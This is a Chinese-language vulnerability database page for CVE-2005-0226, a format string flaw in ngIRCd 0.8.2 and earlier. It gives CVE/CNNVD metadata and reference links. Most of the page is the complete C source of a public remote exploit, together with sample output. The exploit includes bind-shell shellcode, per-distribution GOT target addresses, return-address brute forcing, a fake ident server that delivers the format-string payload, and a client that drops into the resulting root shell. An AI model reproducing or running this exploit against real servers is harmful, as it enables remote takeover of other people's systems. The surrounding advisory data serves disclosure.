CVE-2005-0226
CVSS7.5
发布时间 :2005-02-03 00:00:00
修订时间 :2016-10-17 23:08:48
NMCOE    

[原文]Format string vulnerability in the Log_Resolver function in log.c for ngIRCd 0.8.2 and earlier, when compiled with IDENT, logging to SYSLOG, and with DEBUG enabled, allows remote attackers to execute arbitrary code.


[CNNVD]ngIRCd远程格式串漏洞(CNNVD-200502-004)

        ngIRCd是一款多平台上可使用的IRC守护程序。
        ngIRCd中log.c的Log_Resolver()函数存在一个格式串问题,远程攻击者可以利用这个漏洞可能以守护进程权限在系统上执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0226
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0226
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200502-004
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=110746413108183&w=2
(UNKNOWN)  BUGTRAQ  20050203 ngIRCd <= v0.8.2 Format String Vulnerability
http://www.nosystem.com.ar/advisories/advisory-11.txt
(VENDOR_ADVISORY)  MISC  http://www.nosystem.com.ar/advisories/advisory-11.txt
http://www.securityfocus.com/bid/12434
(UNKNOWN)  BID  12434

- 漏洞信息

ngIRCd远程格式串漏洞
高危 格式化字符串
2005-02-03 00:00:00 2005-10-20 00:00:00
远程  
        ngIRCd是一款多平台上可使用的IRC守护程序。
        ngIRCd中log.c的Log_Resolver()函数存在一个格式串问题,远程攻击者可以利用这个漏洞可能以守护进程权限在系统上执行任意指令。

- 公告与补丁

        暂无数据

- 漏洞信息 (784)

ngIRCd <= 0.8.2 Remote Format String Exploit (EDBID:784)
linux remote
2005-02-03 Verified
6667 CoKi
N/A [点击下载]
/* ngircd_fsexp.c
*
* ngIRCd <= 0.8.2 remote format string exploit
*
* Note:
* To obtain a successful exploitation, we need that
* ngIRCd has been compiled with IDENT, logging to 
* SYSLOG and DEBUG enabled.
*
* Original Reference:
* http://www.nosystem.com.ar/advisories/advisory-11.txt
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* Use: ./ngircd_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -p <arg> ircd port (by default 6667)
* -t <arg> type of target system
* -g <arg> syslog GOT address
* -o <arg> offset (RET addr by default 0x0806b000)
* -b brutefoce the RET address
* (from 0x0806b000 + offset)
* -l targets list
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : victim
* [*] system : Slackware Linux 10.0
* [*] ircd version : ngircd-0.8.2.tar.gz
* [*] syslog GOT address : 0x08068094
* [*] verifying host : 10.0.0.2
*
* [*] trying RET address : 0x0806d710 (offset 10000)
* [*] building evil buffer : done!
* [*] running fake ident server : 0.0.0.0:113
* 
* [*] connecting to ircd... : 10.0.0.2:6667 connected
* [*] waiting for answer... : 10.0.0.1:43260 connected
* [*] sending evil ident... : done!
* [*] checking for shell... : done!
*
* [!] you have a shell :)
*
* Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define IDENTD 113
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
#define IRCD 6667

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(char *host, int gotaddr, int retaddr, int ircdport);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;

struct {
int num;
char *os;
char *ircd;
int got;
}targets[] = {
1, "Slackware Linux 10.0", "ngircd-0.8.1.tar.gz", 0x080680d4,
2, "Slackware Linux 10.0", "ngircd-0.8.2.tar.gz", 0x08068094,
3, "Slackware Linux 9.0", "ngircd-0.8.1.tar.gz", 0x080662b4,
4, "Slackware Linux 9.0", "ngircd-0.8.2.tar.gz", 0x08066294
};

static int b=0;

int main(int argc, char *argv[])
{
char opt, *host=NULL, *system=NULL, *ircd=NULL;
int i, ircdport=IRCD;
int retaddr=0x0806b000, gotaddr=0, targetnum=0, offset=0;
struct hostent *he;

printf("\n ngIRCd <= 0.8.2 remote format string exploit\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");

while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
system = "unknown";
ircd = "unknown";
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) { 
system = targets[targetnum].os;
ircd = targets[targetnum].ircd;
gotaddr = targets[targetnum].got;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
offset = atoi(optarg);
retaddr += offset;
break;
case 'b':
b = 1;
break;
case 'p':
ircdport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}

if(host == NULL) use(argv[0]);
if(gotaddr == 0) use(argv[0]);
if(system == NULL) {
system = "unknown";
ircd = "unknown";
}

printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] ircd version\t\t: %s\n", ircd);
printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
printf(" [*] verifying host\t\t:");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

printf(" %s\n\n", inet_ntoa(*((struct in_addr *)he->h_addr)));

/* bruteforce mode */
if(b) {
for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
printf(" [*] bruteforcing RET address\t: %010p", i);
fflush(stdout);
exploit(host, gotaddr, i, ircdport);
}

printf("\n [*] failed!\n\n");
}

/* single mode */
else {
printf(" [*] trying RET address\t\t: %010p", retaddr);
fflush(stdout);
if(offset) printf(" (offset %d)\n", offset);
else printf("\n");
exploit(host, gotaddr, retaddr, ircdport);
}
}

void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int sock, newsock, sockfd, i, reuseaddr=1;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct sockaddr_in dest_dir;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

/* building evil buffer */
if(!b) {
printf(" [*] building evil buffer\t:");
fflush(stdout);
}

sprintf(ident, "0 , 0 : USERID : OTHER :");

/* adding GOT address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(ident, temp, 4);
gotaddr++;
}

bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 70 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);

/* adding NOP's */
memset(temp, '\x90', 70);
strcat(ident, temp);
bzero(temp, sizeof(temp));

/* adding shellcode */
strcat(ident, shellcode);

/* adding format string */
sprintf(temp, "%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n", cn1, 
cn2, cn3, cn4);

strcat(ident, temp);

strcat(ident, "\n");

/* running fake identd */
if(!b) {
printf(" done!\n");
printf(" [*] running fake ident server\t:");
fflush(stdout);
}

localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(IDENTD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("\n");
exit(1);
}

if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("\n");
exit(1);
}

if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) 
{
perror(" bind()");
printf("\n");
exit(1);
}

if (listen(sock, 1) < 0) {
perror(" listen()");
printf("\n");
exit(1);
}

/* connecting to ircd */
if(!b) {
printf(" %s:%u\n\n", inet_ntoa(localaddr.sin_addr), 
ntohs(localaddr.sin_port));
printf(" [*] connecting to ircd...\t:");
fflush(stdout);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(ircdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf(" closed\n\n");
exit(1);
}

/* waiting for answer */
if(!b) {
printf(" %s:%u connected\n", inet_ntoa(dest_dir.sin_addr), 
ntohs(dest_dir.sin_port));
printf(" [*] waiting for answer...\t:");
fflush(stdout);
}

if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) 
< 0) {
perror(" accept()");
printf("\n");
exit(1);
}

if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 
0) {
perror(" getpeername()");
printf("\n");
exit(1);
}

if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("\n");
exit(1);
}

if(!b) {
printf(" %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr), 
ntohs(remoteaddr.sin_port));
fflush(stdout);

/* sending evil ident */
printf(" [*] sending evil ident...\t:");
fflush(stdout);
}

if (write(newsock, ident, strlen(ident)) <= 0) {
perror(" write()");
printf("\n");
exit(1);
}

close(sock);
close(newsock);
close(sockfd);

if(!b) {
printf(" done!\n");
fflush(stdout);

/* checking for shell */
printf(" [*] checking for shell...\t:");
fflush(stdout);
}

shell(host, SHELL);
}

void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;\n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

if(b) {
printf("\r\r");
return;
}

else {
printf(" done!\n\n");
printf(" [!] failed!\n\n");
exit(1);
}
}

if(!b) {
printf(" done!");
fflush(stdout);
}

printf("\n\n [!] you have a shell :)\n\n");
fflush(stdout);

send(sockfd, command, strlen(command), 0);

while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 5)
addr = addr + 256;

return addr;
}

void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -p <arg> ircd port (by default 6667)\n");
printf(" -t <arg> type of target system\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -o <arg> offset (RET addr by default 
0x0806b000)\n");
printf(" -b brutefoce the RET address\n");
printf(" (from 0x0806b000 + offset)\n");
printf(" -l targets list\n\n");
exit(1);
}

void printlist(void) {
int i=0;

printf(" targets\n");
printf(" -------\n\n");

while(targets[i].num) {
printf(" [%d] %s [%s]\n", targets[i].num, targets[i].os, 
targets[i].ircd);
i++;
}

printf("\n");
exit(0);
}

// milw0rm.com [2005-02-03]
		

- 漏洞信息

13444
ngIRCd Log_Resolver() Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-02-02 Unknow
2005-02-02 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站